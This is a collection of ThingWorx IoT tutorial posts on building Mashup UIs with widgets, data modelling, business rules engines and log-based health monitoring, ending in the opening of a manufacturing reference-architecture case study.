IoT & Connectivity Tips

Create Your Application Guide UI Part 1    Overview   This project will introduce the ThingWorx Mashup Builder. Following the steps in this guide, you will learn how to use this tool to create a Graphical User Interface (GUI) for your IoT Application. We will teach you how to rapidly create and update a Mashup, which is a custom visualization built to display data from devices according to your application's business and technical requirements. NOTE: This guide's content aligns with ThingWorx 9.3. The estimated time to complete ALL 5 parts of this guide is 30 minutes.    Step 1: Create New Mashup   The Mashup Builder is a drag-and-drop environment with a What You See Is What You Get (WYSIWYG) interface. With the Mashup Builder you can quickly and easily create a visualization of your IoT data. In this step, we'll explain various options to customize your application GUI. Click Browse > VISUALIZATION > Mashups.   Click + New. You are now on the New Mashup pop-up window.           Layout Options When creating your UI, you must choose whether you want a Responsive, Static, or Responsive (Advanced) Mashup, depending on the resolutions of the displays you want your application users to utilize when running your application. Mashup Layout Description When to Use Responsive Expands to the resolution of the display in an even more dynamic manner than the Responsive (Legacy) option. Previously-labeled as Responsive (Advanced), this is now the default option with modifications to the Mashup Builder interface versus previous versions. For instance, divisions such as a header or footer are available with the Template options at the bottom of the pop-up. Static (Legacy) Sized to the dimensions that you define. Static Mashups are appropriate when your users have a standard device on which they’ll be utilizing your application, such as a smartphone or tablet. When displayed in a lower resolution you will see scroll bars, in a higher resolution there will be unused space around the Mashup. Responsive (Legacy) Expands to the resolution of the display without leaving any unused space around the Mashup. Responsive Mashups should be utilized when you anticipate that users will interface with your application through various-sized screens. Responsive Mashups should always be tested at various resolutions to ensure optimum display of your IoT data.   Keep the default of Responsive (with NO Responsive Templates chosen), and click OK in the pop-up window. In the Name field, enter appui_mashup.   If the Project is not already set, search for and select PTCDefaultProject.  At the top, click Save.   At the top, click Design. This is the Mashup Builder user interface we will use for the remainder of this guide.              6. On the left, click the "left arrow" Collapse icon to cause the Composer Navigation to slide-out, revealing more room for the Mashup Builder interface.         Step 2: Mashup Builder Sections Now that you've launched the Mashup Builder, you'll need an understanding of the layout and configuration options.     NOTE: Section 1 in the top-left has a drop-down arrow you can click to reveal additional sections if your screen resolution is too small to show all of Widgets, Layout, and Explorer. There is also the Mashups tab in Section 1, but it is not covered in this guide.   Mashup Builder Section Description 1a Widgets Widgets provides a list of every graphical element within the platform. There are a wide variety of selections, from grids to graphs to text boxes to buttons. There is also a Filter Widgets field where you can enter the name of a particular Widget to sort the list. 1b Layout Layout is used to divide your Mashup into logical sub-sections. 1c Explorer Explorer allows you to reach any individual element of a Mashup. This can be helpful when multiple Widgets are overload on top of each other in the central Canvas window, making it difficult to click on them individually. 2 Canvas This is an area into which you can drag-and-drop Widgets to your desired location to build your application UI. You can also drag-and-drop data onto the Widgets in the Canvas. 3a Data Data is fundamental to any Mashup that wants to display ThingWorx IoT data, as it allows you to bind backend-data to particular Widgets. 3b Session Session provides access to Session Parameters, which are similar to global variables that may be used across multiple Mashups, such as cookies or security information for a logged-in User. 3c User User provides access to the User Extensions. User Extensions are the Properties of the logged-in User and can be used on the Client side and/or the Server side. 4a Properties Properties displays the Properties for the selected Mashup or Widget. These Properties allow you to perform a variety of modifications to Widgets, such as setting its exact position. 4b Style Properties Style Properties are a sub-set of Properties dealing with items such as changing color. 5a Bindings As data connections are made to various Widgets, the Bindings window will show these links in an easy-to-understand 'arrow' format. For instance, if a button press causes a Thing’s Service to be called, then you’ll see a connection from the Button Widget’s *Clicked* Event over to the Thing’s Service. 5b Reminders Reminders points out issues with your Mashup, such as unbound but required Properties, which often must be fixed before the Mashup can be saved. 6a Data Properties Data Properties displays properties of the selected data element. This can be helpful, for instance, when you want something to be triggered only when something else has completed. In that scenario, you’d look for the ServiceInvokeCompleted Event in this bottom-right area. 6b Functions Functions provides the ability to write custom business logic within the Mashup itself.   Step 3: Introducing Widgets   The primary way in which you'll create the GUI for your IoT application is with Widgets. Widgets are self-contained graphical elements that you can drag-and-drop onto the central Canvas area. Once placed on the Canvas, you can: Modify Widget layout Resize Widgets Bind Data to Widgets Combining several Widgets together will allow you to quickly and easily create a functional GUI for your IoT application. Widget Name Widget Example Picture Description Button   The Button Widget triggers an Event when it is clicked. Typically, this Event will be used to trigger a Service to either push or pull data from the platform’s backend. Checkbox   The Checkbox Widget provides a simple box which can be either set or not-set. You primarily use a Checkbox when you’re setting or displaying Boolean data. Gauge   The Gauge Widget provides a more “graphically interesting” way to display a numerical value. You can set the minimum and maximum values which a Gauge displays, or style a Gauge so that different areas are different colors. Label   The Label Widget displays a non-user-interactable string within your Mashup. You can use this to create headings or descriptions for parts of your Mashup. Text Field   The Text Field Widget is a small, one-line area into which you can either accept an input string from the User or display a string from the platform’s backend. Combining a few of the basic Widgets described above allows you to create a Mashup for your IoT application. However, without data being supplied to these Widgets from the platform's backend, they're just pretty graphics. In the next section, we will introduce a few of the Mashup Services that enable bidirectional data flow between your GUI and device data.   Click here to view Part 2 of this guide.     

  Basic Mashup Widgets Guide Part 2    Step 3: Slider   A Slider allows your application users to interactively select a numeric value. When the user changes the position of the slider bar, an event is fired and the value property is changed. On the New Mashup tab, enter slider inside the Filter field in the top left. Drag-and-drop the Slider widget onto the top-right Container of your Mashup. 3. In the lower panel of the left dock, scroll to the Maximum property and change the value to 1000. 4. Change the Value property to 500 set the default position of the slider.   Add Value Display To demonstrate the Slider functionality we will add a Value Display Widget within the same Container of your Mashup as the Slider and bind the slider widget output to the input of the Value Display.         1. In the Filter field where you entered slider, enter value.        2. Drag-and-drop a Value Display widget onto the same upper-right Container as the Slider widget. 3. Click the drop-down arrow on the left side of the Slider widget. 4. Click and drag the Value property listed in the Slider drop-down onto the Value Display widget. 5. Click the Data property that is available from the Select Binding Target pop-up. 6. Click Save to save your Mashup. 7. Click View Mashup then adjust the slider to see the changing value shown in the Value Display widget.             Many properties are available that give control over how a Slider widget will be displayed. Properties can be changed both statically when designing the Mashup, and dynamically in response to changes in property values.   Bindable Name Type Default Direction Description Value Number 0 Input/Output Value defined by position of Slider that can be used by downstream widgets or services Minimum Number 0 Input/Output Value for left-most position of Slider, bottom-most position of Vertical Slider Maximum Number 100 Input/Output Value for right-most position of slider, top-most position of Vertical Slider HandleSize Number 34 Input Size in pixels of the slider handle Visible Boolean True Input Widget is visible if set to true StepSize Number 1 Input Smallest change in value when slider is moved   Static Name Type Default Direction DisplayName String None Name used for widget in user-facing interactions Description String None Description used for widget in user-facing interactions HandleIcon None/Circle/Split Circle Slider handle style SliderBar Thick/Thin Thick Slider bar style SteppingMode Boolean False When True, moves the slider by Step amount toward the click on the Slider bar TrackingMode Boolean False When True, the slider generates events as it changes value. Use with caution, this mode generates many events rapidly. DisplayMinMaxLabels Boolean True When enabled, displays the minimum and maximum values of the slider DisplayValueLabel Boolean True When enabled, displays the value of the slider   Widget Events Name Description ValueChanged Fired when Slider Value changes   Widget Services Name Description Increment Increase value of Slider by Step amount Decrement Decrease value of Slider by Step amount     Step 4: Toggle Button   A Toggle Button widget is used when a Mashup user may select only one choice from two options. On the Widgets tab in the top-left, enter button in the Filter field. Drag-and-drop the Toggle Button widget onto the lower left container of the mashup.   Scroll to the State property in the lower panel of the left dock where Toggle Button widget properties are shown. Click the check box to set the default state to true.   Add Value Display To demonstrate the toggle Button, we will add a Value Display Widget to the same Mashup container and bind the toggle Button State property to be shown by the Value Display. Drag-and-drop a Value Display Widget onto the same lower left container of the Mashup where the Toggle Button was placed. Click the drop-down arrow on the left side of the Toggle Button Widget. Click and drag the State property listed in the drop-down onto the Value Display Widget and a Select Binding Target pop-up will appear.  Click the Data property that is available from the Value Display Widget. Click Save to save your Mashup so it can be tested. Click View Mashup then click the Toggle Button to see the value of the button shown in the Value Display Widget.   Other properties are available to provide control over how a Toggle Button Widget will be displayed. Properties can be changed both statically when designing the Mashup, and dynamically in response to changes in property values.   Bindable Name Type Default Direction Description State boolean false Input/Output Value of toggle, can be used by downstream Widgets or Services Label String None Input Text that is displayed next to toggle button Visible Boolean True Input Widget is visible if set to true   Static Name Type Default Description DisplayName String auto-generated Name used to identify Widget in Mashup Builder Description String None Description used for Widget in user-facing interactions Height number autosize Sets the height of the widget in pixels LabelAlignment Left/Right Left Where label is shown relative to toggle button   Widget Events Name Description StateChanged Fired when user clicks the button   Click here to view Part 3 of this guide.

  Basic Mashup Widgets Guide Part 3   Step 5: Gauge   A Gauge is best for displaying a quickly readable approximate value. Select the Widgets tab in the uppper panel of the left dock, then enter gauge inside the Filter field in the top left. Drag-and-drop the Gauge widget onto the bottom-center container. We will now bind the Slider to the Gauge. Click the Slider Widget in the top-right Container. Click the drop-down arrow on the left side of the Slider widget. Click and drag the Value property listed in the Slider drop-down onto the Gauge widget.   Click the # Data property that is available from the Select Binding Target pop-up.   Click Save to save your Mashup. Click View Mashup then adjust the slider to the left to see the changing value shown on the widget. Many properties are available that give control over how the Gauge widget will be displayed. Many properties can be changed both statically when designing the mashup, and dynamically in response to changes in property values.   Bindable Name Type Default Direction Description Data Number None Input Value displayed by gauge indicator MinValue Number 0 Input Value used for lowest gauge display MaxValue Number 100 Input Value used for highest gauge display Legend String None Input Text Shown under Gauge ToolTipField String None Input Text shown when mouse hovers over gauge Visible Boolean True Input Widget is visible if set to true   Static Name Type Default Description DisplayName String None Name used for widget in user-facing interactions Description String None Description used for widget in user-facing interactions MinorTicks Number 4 Number of minor ticks per interval TickLength Number 8 Tick mark length MinorTickLength Number 4 Minor tick length ValueDisplayMode None/Top/Bottom/Inside None Location on gauge where numeric value is shown. LabelDigits Number 3 Number of digits for label display LabelDecimals Number 0 Number of decimals for label display ValueDigits Number 3 Number of digits for value display ValueDecimals Number 0 Number of decimals for value display LegendDisplayMode None/Top/Bottom None Location on gauge where Legend is displayed ReferenceAngle Number 225 Angle that controls the gauge orientation (degrees) Aperture Number 270 Angle that controls the gauge size (degrees) NeedleDiameter Number 10 Diameter of the gauge needle (pixels) CenterDiameter Number 20 Diameter of the gauge center (pixels) GaugeBorder Number 20 Width of the outside gauge border (pixels)     Step 6: Grid Advanced   A Grid Advanced widget is used to display data to a mashup user in a table Select the Widgets tab in the uppper panel of the left dock, then enter grid inside the Filter field in the top-left. Drag-and-drop the Grid Advanced widget onto the top-left container on your Mashup that already has the Button Widget. Add Data Source   Before you can customize the Grid display, you must first bind an Infotable to the Grid's Data property. In this example we will use the QueryImplementingThingsWithData Service to bind a group of Things created with the same Template. We have created a file with sample entities for this exercise. Download the attached demoTractors.xml. Click Import/Export in the lower left of Composer, then select Import   Click From File in the drop down, then Browse. Browse to the demoTractors.xml file and click Open. Click Import, then Close after entities are successfully imported. Click the green + button in the Data tab on the right side of the Mashup Builder window. In the Select Entity panel click Thing Templates from the drop down.   Scroll through the available Thing Templates and select the Connected Tractors Template that was imported. Enter query into the filter text box then click the arrow to the right of QueryImplementingThingsWithData. Click the Execute on Load check box, this option will execute the QueryImplementingThingsWithData Service when the Mashup is loaded.   Click Done. Click the arrow icon to expand QueryImplementingThingsWithDate, and Returned Data. Click and drag All Data onto the Grid widget.   Click Data in the Select Binding Target pop-up.   NOTE: The Grid widget now shows Property names in the column headers.  15. Click the drop down in the upper left of the Grid widget, then click Configure Grid Columns to show the Configure Grid Columns pop-up. 16. Uncheck the check box next to the property names in the left-hand panel that you don't want shown in the Grid. NOTE: You can drag and drop the property names to change the display order. You can customize Column names and formatting by making changes in this window. 17. Click Done when you are satisfied with the column formatting options. 18. Click Save to save your Mashup. 19. Click View Mashup.         In addition to properties that give control over how a Grid widget will be displayed, the scroll position of a Grid can be read in the CurrentScrollTop property and can be set with the ScrollTop property.   Bindable Name Type Default Direction Description Data Infotable None Input The data that is displayed in the Grid EditedTable Infotable None Output The data that is in the Grid after a user edit CurrentScrollTop Number 0 Output How far down (in pixels from the top of the full data list) the Grid is currently scrolled ScrollTop Number 0 Input How far down (in pixels from the top of the full data list) the Grid will be scrolled. Visible boolean true Input Widget is visible if set to true   Static Name Type Default Description DisplayName String None Name used for widget in user facing interactions Description String None Description used for widget in user facing interactions RowFormat StateDefinition None Specify a State Formatter to control display of the data in each grid row AlignHeader Boolean False When enabled, align column headers with their data MultiSelect Boolean False allow multiple items to be selected IsEditable Boolean False Allow grid value editing in Configure Grid Columns pop-up AutoSelectFirstRow Boolean False Automatically select the first row upon initial loading of data. CellTextWrapping Boolean False Enable or disable text wrapping within the grid cells. TabSequence Number 0 Tab sequence index   Widget Events Name Description DoubleClicked Fired when user double clicks on the grid   Step 7: Next Steps   Congratulations on completing the guide!   The next guide in the Customize UI and Display Options to Deploy Applications learning path is Define Your UI Style.    If you have questions, issues, or need additional information, refer to: Resource Link Experience ThingWorx Application Development Reference Community Developer Community Forum Support Button Widget Help Center Support Slider Widget Help Center Support Gauge Widget Help Center Support Advanced Grids (Themable) Help Center    

Basic Mashup Widgets Guide Part 1    Overview   This project will introduce how to use some basic Widgets in a Mashup. Following the steps in this guide, you will create a Mashup that reacts to user input using a Button, Toggle Button, and Slider Widget. We will also teach you how to display data to users with the Grid Advanced, Gauge, and Property Display widgets. NOTE: This guide's content aligns with ThingWorx 9.3. The estimated time to complete ALL 3 parts of this guide is 60 minutes.    Step 1: Create Mashup   Build Mashup Click the Browse folder icon on the top left of ThingWorx Composer. Select Mashups in the left-hand navigation, then click + New to create a new Mashup.        3. For Mashup Type select Responsive. NOTE: A Responsive Mashup scales with a browser’s screen size. In the steps below we will create 5 containers, one for each widget, to organize how the widgets are presented.          4. Click OK. 5. Enter a name for your Mashup. 6. If Project is not already set, click the + in the Project text box and select the PTCDefaultProject. 7. Click Save. 8. Select the Design tab to display Mashup Builder. 9. Select the Layout tab in the upper panel of the left dock. 10. Click Add Bottom to split the Mashup canvas into two halves. 11. Click inside the bottom container to selected it, then click Add Left. 12. Click inside the bottom-right container to select it, then click Add Right. 13. Click inside the top container to select it, then click Add Right again. You should now have 5 containers in two rows, ready to have widgets added.   Step 2: Button   A button allows users to trigger an action, or stop and start long-running processes. Select the Widgets tab in the uppper panel of the left dock, then enter button inside the Filter field in the top-left. Drag-and-drop the Button widget onto the upper left container.        3. Click the drop-down arrow on the left side of the Button widget. 4. Click and drag the Clicked service shown in the drop-down onto a free area of the Mashup canvas.         5. When the Select Service pop-up appears, Click the ResetInputsToDefaultValues service that is provided by the Container. 6. Click Save. 7. Click View Mashup then click Show/Hide Debug Info. 8. Click the Trace tab and click Start Trace. 9. Click the button you created in your Mashup then click Stop Trace to see the log of the Clicked event triggering the ResetInputsToDefaultValues service.   Many properties are available that give control over how a Button widget will be displayed. Many properties can be changed both statically when designing the Mashup, and dynamically in response to changes in property values.   Bindable Name Type Default Direction Description ContextId String None Input/Output User-definable value that can be used by downstream triggered widgets Disabled Boolean False Input Widget is not usable and is displayed greyed-out if set to true Label String Button Input The text that appears on the button ToolTipField String None Input Text shown when user hovers over widget Visible Boolean True Input Widget is visible if set to true CustomClass String None Input/Output User-definable CSS class applied to top di of the button   Static Name Type Default Direction DisplayName String auto-generated Descriptor used for referring to widget in Composer and Mashup Builder Description String None Description used for widget in user-facing interactions TabSequence Number 0 Tab sequence index Height Number Autosize Height of button Width Number Autosize Width of button Z-index Number 10 Controls widget placement on top or below other widgets   Widget Events Name Description Clicked Fired when user clicks button   Click here to view Part 2 of this guide. 

Data Model Introduction    Overview   This project will introduce the ThingWorx Foundation Data Model. Following the steps in this guide, you will consider data interactions based on user needs and requirements, as well as application modularity, reusability, and future updates. We will teach you how to think about a properly constructed foundation that will allow your application to be scalable, flexible, and more secure. NOTE: This guide's content aligns with ThingWorx 9.3. The estimated time to complete this guide is 30 minutes.    Step 1: Benefits   A Data Model creates a uniform representation of all items that interact with one another. There are multiple benefits to such an approach, and the ability to break up items and reuse components is considered a best practice. ThingWorx has adopted this model at a high level to represent individual components of an IoT solution. Feature Benefit Flexibility Once a model has been created, it is simple to update, modify, or remove components without needing to rework the system or retest existing components. Scalability It’s easy to clone and modify devices that are either identical or similar when changing from a Proof of Concept or Pilot Program to a Scaled Business Model. Interoperability Seamlessly plug into other applications. Collaboration A Data Model allows pre-defined links between components, meaning that various parts can be defined when designing the model so that multiple people can work on those individual parts without compromising the interoperability of the components. Seamless platform A Data Model allows for seamless integration with other systems. A properly-formed model will make it easier to create high-value IoT capabilities such as analytics, augmented/virtual reality, industrial connectivity, etc.   Step 2: Entities   Entities   Building an IoT solution in Foundation begins with defining your Data Model, the collection of Entities that represent your connected devices, business processes, and your application. Entities are the highest-level objects created and maintained in Foundation, as explained below.     Thing Shape   Thing Shapes provide a set of characteristics represented as Properties, Services, Events, and Subscriptions that are shared across a group of physical assets. A Thing Shape is best used for composition to describe relationships between objects in your model. They promote reuse of contained Properties and business logic that can be inherited by one or more Thing Templates. In Foundation, the model allows a Thing Template to implement one or more Thing Shapes, which is similar to a class definition in C++ that has multiple inheritance. When you make a change to the Thing Shape, the change is propagated to the Thing Templates and Things that implement that Thing Shape; so, maintaining the model is quick and easy.   Thing Template   Thing Templates provide base functionality with Properties, Services, Events, and Subscriptions that Thing instances use in their execution. Every Thing is created from a Thing Template. A Thing Template can extend another Thing Template. When you release a new version of a product, you simply add the additional characteristics of the version without having to redefine the entire model. This model configuration provides multiple levels of generalization of an asset. A Thing Template can derive one or more additional characteristics by implementing Thing Shapes. When you make a change to the Thing Template, the change is propagated to the Things that implement that Thing Template; so again, maintaining the model is quick and easy. A Thing Template can be used to classify the kind of a Thing or asset class or as a specific product model with unique capabilities. If you have two product models and their interaction with the solution is the same (same Properties, Services, and Events), you could model them as one Thing Template. Classifying Thing Templates is useful for aggregating Things into collections, which are useful in Mashups. You may want separate Thing Templates for indexing, searching, and future evolutions of the products   Thing   Things are representations of physical devices, assets, products, systems, people, or processes that have Properties and business logic. All Things are based on Thing Templates (inheritance) and can implement one or more Thing Shapes (composition). A Thing can have its own Properties, Services, Events, and Subscriptions and can inherit other Properties, Services, Events, and Subscriptions from its Thing Template and Thing Shape(s). How you model the interconnected Things, Thing Templates, and Thing Shapes is key to making your solution easy to develop and maintain in the future as the physical assets change. End users will interface with Things for information in applications and for reading/writing data.   Best Practice: Create a Thing Template to describe a Thing, then create an instance of that Thing Template as a Thing. This practice leverages inheritance in your model and reduces the amount of time you spend maintaining and updating your model.   Step 3: Inheritance Model   Defining Things, Thing Templates, and Thing Shapes in your Data Model allows your application to handle both simple and complex scenarios. Entity Function Thing Shapes Assemble individual components. Thing Templates Combine those components into fully functional objects. Thing Unique representation of a set of identical components defined by the Thing Template.       In this example, there is a Parent/Child model between two related Thing Templates. NOTE: Things and Thing Templates may only inherit ONE Thing Template. Both Things and Thing Templates may inherit any number of Thing Shapes. Thing Templates employ a linear-relationship, while Thing Shapes employ a modular-relationship. Any Thing or Thing Template may have any number of sub-components (i.e. Thing Shapes), but each Thing or Thing Template is just one description of one object as a whole. How you decide to compartmentalize your Data Model into Thing Shapes and Thing Templates to create the actual Things that you’ll be using is a custom design that will be specific to each implementation.   Step 4: Scenario   The ThingWorx Data Model provides a way for you to describe your connected devices and match the complexity of a real-world scenario. Things, Thing Templates, and Thing Shapes are building blocks that define your data model.     You can define the components of Things, Thing Templates, and Thing Shapes, including Properties, Services, Events, and Subscriptions. Component Definition Properties Each Property has a name, description, and a data type (Base Type). Depending on the base type, additional fields may be enabled. A simple scalar type, like a number or string, adds basic fields like default value. More complex base types have more options. Properties can be static (i.e. Model Number) or dynamic (i.e. Temperature). Services A Service is a method/function defined by a block of code that performs logic specifying actions a Thing can take. There are several implementation methods, or handlers (for example: Script, SQLQuery, and SQL command), for services depending on the template you use. The specific implementation of a user-defined Service is done via a server-side script. The Service can then be invoked through a URL, a REST client capable application, or by another Service in ThingWorx. When you create a new service, you can define input properties and an output. You can define individual runtime permissions for each Service. Events Events are triggers that define changes of state (example: device is on, temperature is above/below threshold) of an asset or system and often require an action to correct or respond to a change. Business logic and actions in a ThingWorx application are driven by Events. Subscriptions Action associated with an Event, primary method to set up intelligence in ThingWorx model which enable you to optimize/automate. Subscriptions use Javascript code to define what you want your application to do when the Event occurs.   NOTE: Anything inherited by a Thing Template or Thing will inherit the associated Components.     This diagram shows what a specific Inheritance Model might look like for a connected Tractor. There is one master Template at the top. In this case, it’s a collection of similar types of tractors. The parent Template inherits a few Shapes - an Engine and a Deck that have been used in previous designs. Importing them as Shapes allows us to reuse previous design work and expedite the development process. One of the child Templates incorporates another Shape, this time in the form of a GPS tracking device. Then, at the bottom, there are the specific tractors with individual serial numbers that will report their connected data back to an IoT Application.   Step 5: Next Steps   Congratulations! You've successfully completed the Data Model Introduction, and learned about: The function of a data model for your IoT application Data model components, including Thing, Thing, Shape and Thing Template How ThingWorx components correspond to connected devices Please comment on this post so we can improve this guide in future ThingWorx version iterations.   This guide is part of 2 learning paths: The next guide in the Getting Started on the ThingWorx Platform learning path is Configure Permissions.  The next guide in the Design and Implement Data Models to Enable Predictive Analytics learning path is Design Your Data Model.      

Create Custom Business Logic    Overview   This project will introduce you to creating your first ThingWorx Business Rules Engine.   Following the steps in this guide, you will know how to create your business rules engine and have an idea of how you might want to develop your own. We will teach you how to use your data model with Services, Events, and Subscriptions to establish a rules engine within the ThingWorx platform.   NOTE: This guide's content aligns with ThingWorx 9.3. The estimated time to complete this guide is 60 minutes.    Step 1: Completed Example   Download the attached, completed files for this tutorial: BusinessLogicEntities.xml.   The BusinessLogicEntities.xml file contains a completed example of a Business Rules Engine. Utilize this file to see a finished example and return to it as a reference if you become stuck during this guide and need some extra help or clarification. Keep in mind, this download uses the exact names for entities used in this tutorial. If you would like to import this example and also create entities on your own, change the names of the entities you create.   Step 2: Rules Engine Introduction   Before implementing a business rule engine from scratch, there are a number of questions that should first be answered. There are times in which a business rule engine is necessary, and times when the work can be down all within regular application coding.   When to Create a Rules Engine: When there are logic changes that will often occur within the application. This can be decisions on how to do billing based on the state or how machines in factories should operate based on a release. When business analysts are directly involved in the development or utilization of the application. In general, these roles are often non-technical, but being involved with the application directly will mean the need for a way to make changes. When a problem is highly complex and no obvious algorithm can be created for the solution. This often covered scenarios in which an algorithm might not be the best option, but a set of conditions will suffice.   Advantages of a Rules Engine The key reward is having an outlet to express solutions to difficult problems than can be easily verifiable. A consolidated knowledge base for how a part of a system works and a possible source of documentation. This source of information provides people with varying levels of technical skill to all have insight into a business model.   Business Logic with ThingWorx Core Platform: A centralized location for development, data management, versioning, tagging, and utilization of third party applications. The ability to create the rules engine within the ThingWorx platform and outside of ThingWorx platform. Being that the rules engine can be created outside of the ThingWorx platform, third party rules engines can be used. The ThingWorx platform provides customizable security and provided services that can decrease the time in development.     Step 3: Establish Rules   In order to design a business rules engine and establish rules before starting the development phase, you must capture requirements and designate rule characteristics.   Capture Requirements The first step to building a business rules engine is to understand the needs of the system and capture the rules necessary for success.   Brainstorm and discuss the conditions that will be covered within the rules engine Construct a precise list Identify exact rules and tie them to specific business requirements.   Each business rule and set of conditions within the business rule will need to be independent of other business rules. When there are several scenarios involved, it is best to create multiple rules – one handling each. When business rules are related to similar scenarios, the best methodology is to group the rules into categories.   Category Description Decision Rules Set of conditions regarding business choices Validation Rules Set of conditions regarding data verifications Generation Rules Set of conditions used for data object creation in the system Calculation Rules Set of conditions that handle data input utilized for computing values or assessments   Designate Rule Characteristics Characteristics for the rules include, but are not limited to: Naming conventions/identifiers Rule grouping Rule definition/description Priority Actions that take place in each rule.   After this is completed, you will be ready to tie business requirements to business rules, and those directly to creating your business rules engine within the platform.   Rules Translation to ThingWorx There are different methods for how the one to one connections can be made between rules and ThingWorx. The simplified method below shows one way that all of this can be done within the ThingWorx platform:   Characteristic  ThingWorx Aspect Rule name/identifier Service Name Ruleset  Thing/ThingTemplate Rule definition  Service Implementation Rule conditions Service Implementation Rule actions Service Implementation Data management DataTables/Streams   Much of the rule implementation is handled by ThingWorx Services using JavaScript. This allows for direct access to data, other provided Services, and a central location for all information pertaining to a set of rules. The design provided above also allows for easier testing and security management.   Step 4: Scenario Business Rule Engine    An important aspect to think about before implementing your business rules engine, is how the Service implementation will flow.   Will you have a singular entry path for the entire rules engine? Or will you have several entries based on what is being requested of it? Will you have create only Services to handle each path? Or will you create Events and Subscriptions (Triggers and Listeners) in addition to Services to split the workload?   Based on how you answer those questions, dictates how you will need to break up your implementation. The business rules for the delivery truck scenario are below. Think about how you would break down this implementation.   High Level Flow 1 Customer makes an order with a Company (Merchant). 1.A Customer to Merchant order information is created. 2 The Merchant creates an order with our delivery company, PTCDelivers. 2.A Merchant order information is populated. 2.B Merchant sets delivery speed requested. 2.C Merchant sets customer information for the delivery. 3 The package is added to a vehicle owned by PTCDelivers. 4 The vehicle makes the delivery to the merchant's customer.   Lower Level: Vehicles 1 Package is loaded onto vehicle 1.i Based on the speed selected, add to a truck or plane. 1.ii Ground speed option is a truck. 1.iii Air and Expedited speed options are based on planes usage and trucks when needed. 2 Delivery system handles the deliveries of packages 3 Delivery system finds the best vehicle option for delivery 4 An airplane or truck can be fitted with a limited number of packages.   Lower Level: Delivery 1 Delivery speed is set by the customer and passed on to PTCDelivers. 2 Delivery pricing is set based on a simple formula of (Speed Multiplier * Weight) + $1 (Flat Fee). 2.i Ground arrives in 7 days. The ground speed multiplier is $2. 2.ii Air arrives in 4 days. The air speed multiplier is $8. 2.iii Expedited arrives in 1 day. The expedited speed multiplier is $16. 3 Deliveries can be prioritized based on a number of outside variables. 4 Deliveries can be prioritized based on a number of outside variables. 5 Bulk rate pricing can be implemented.   How would you implement this logic and add in your own business logic for added profits? Logic such as finding the appropriate vehicle to make a delivery can be handled by regular Services. Bulk rates, prioritizing merchants and packages, delivery pricing, and how orders are handled would fall under Business Logic. The MerchantThingTemplate Thing contains a DataChange Subscription for it's list of orders. This Subscription triggers an Event in the PTCDelivers Thing.   The PTCDelivers Thing contains an Event for new orders coming in and a Subscription for adding orders and merchants to their respective DataTables. This Subscription can be seen as the entry point for this scenario. Nevertheless, you can create a follow-up Service to handle your business logic. We have created the PTCDeliversBusinessLogic to house your business rules engine.   Step 5: Scenario Data Model Breakdown   This guide will not go into detail of the data model of the application, but here is a high level view of the roles played within the application.   Thing Shapes ClientThingShape Shape used to represent the various types of clients the business faces (merchants/customers). VehicleThingShape Shape used to represent different forms of transportation throughout the system.   Templates PlaneThingTemplate Template used to construct all representations of a delivery plane. TruckThingTemplate Template used to construct all representations of a delivery truck. MerchantThingTemplate Template used to construct all representations of a merchant where goods are purchased from. CustomerThingTemplate Template used to construct all representations of a customer who purchases goods.   Things/Systems PTCDeliversBusinessLogic This Thing will hold a majority of the business rule implementation and convenience services. PTCDelivers A Thing that will provide helper functions in the application.   DataShapes PackageDeliveryDataShape DataShape used with the package delivery event. Will provide necessary information about deliveries. PackageDataShape DataShape used for processing a package. OrderDataShape DataShape used for processing customer orders. MerchantOrderDataShape DataShape used for processing merchant orders. MerchantDataShape DataShape used for tracking merchants.   DataTables OrdersDatabase DataTable used to store all orders made with customers. MerchantDatabase DataTable used to store all information for merchants.     Step 6: Next Steps   Congratulations! You've successfully completed the Create Custom Business Logic guide, and learned how to: Create business logic for IoT with resources provided in the ThingWorx platform Utilize the ThingWorx Edge SDK platforms with a pre-established business rule engine   We hope you found this guide useful.    The next guide in the Design and Implement Data Models to Enable Predictive Analytics learning path is Implement Services, Events, and Subscriptions.     

Often when we think about monitoring an applications health, we look to performance metrics and observing changes over time.   However, when it comes to critical issues which need immediate attention, alerts setup on relevant ThingWorx logs are the way to notify Ops Teams of events.  Logs provide contextualised detail of an event that has occurred, allowing for triage and directing troubleshooting.   Let me illustrate an example: ThingWorx is a database application and requires that DB for proper function.  A log message indicating that the DB connection has been severed, and another one indicating that a connection to the database cannot be established immediately tells you that your problem is with the DB - right when it occurs, no analysis required.   Given this, here is a list of some log message substrings to use as examples to build out your own production system monitoring aimed at detecting common critical or high severity issues using your log management system (Splunk, Loki, DataDog, ElasticSearch, etc.).   ThingWorx Platform Apparent Deadlock org.postgresql.util.PSQLException: Connection to *:* refused Unable to write entry in stream Data store unknown error org.postgresql.util.PSQLException: Connection to *:* refused Error getting database connection Unable to connect to the PTC license server Unable To Initialize Entity Unable to persist metric Unable to persist entries Error executing batch Too many open files CRITICAL ERROR: EventRouter is over capacity OutofMemoryError Client timed out while waiting to acquire a resource (2,002) No connection Acquisition Attempt Failed Connection Servers io.vertx.core.VertxException: Thread blocked network unavailable Lost connection to platform Have any log messages that you've found that could be added here?  Post them in the comments and I'll add them to the list.  

Overview A global leader in chemical processing and industrial manufacturing, with a strong international footprint and multiple production sites worldwide, set out to transform its production ecosystem by adopting Industrial IoT (IIoT). The objective was to unify fragmented factory data, enable real-time analytics, and drive operational efficiency through AI-powered insights. Based on detailed use case documentation and architectural workshop findings, this reference architecture outlines a robust, scalable solution designed to integrate factory systems, deliver AI-supported insights in real time, and empower teams through self-service applications.   The solution leverages PTC’s ThingWorx suite—along with Microsoft Azure services and complementary technologies—to address key challenges in production, quality, and efficiency across engineering, manufacturing, and operations. About Beyond the Pilot series Use Case   A. Engineering – Process Optimization & Quality Control   Problem: Resolving Data Integration & Visibility Challenges   Customer’s engineering teams struggled with fragmented data across various factory systems, limiting their ability to analyze process performance and optimize production parameters. Without a unified data platform, engineers could not effectively compare historical and real-time machine center lining values, making it difficult to maintain consistent production quality.   Solution: Unified Data Integration & Advanced Process Analytics   The reference architecture establishes a central, cloud-based data platform that aggregates and correlates machine data from various sources in real time. By integrating OPC Aggregators and Kepware with Azure IoT Hub, factory data is ingested, processed, and made accessible via ThingWorx applications. Engineers can now visualize mechanical and digital process values, set dynamic thresholds, and receive alerts when deviations occur—ensuring precise process control and quality optimization.   Role of PTC Products:   PTC Kepware: Standardizes and integrates machine data from disparate factory systems, ensuring a seamless flow of real-time process variables. ThingWorx Platform: Provides a robust dashboard for analyzing centerlining data, visualizing production trends, and enabling data-driven decision-making. ThingWorx Digital Performance Management (DPM): Automates the identification of process inefficiencies, allowing engineers to fine-tune machine settings dynamically.   B. 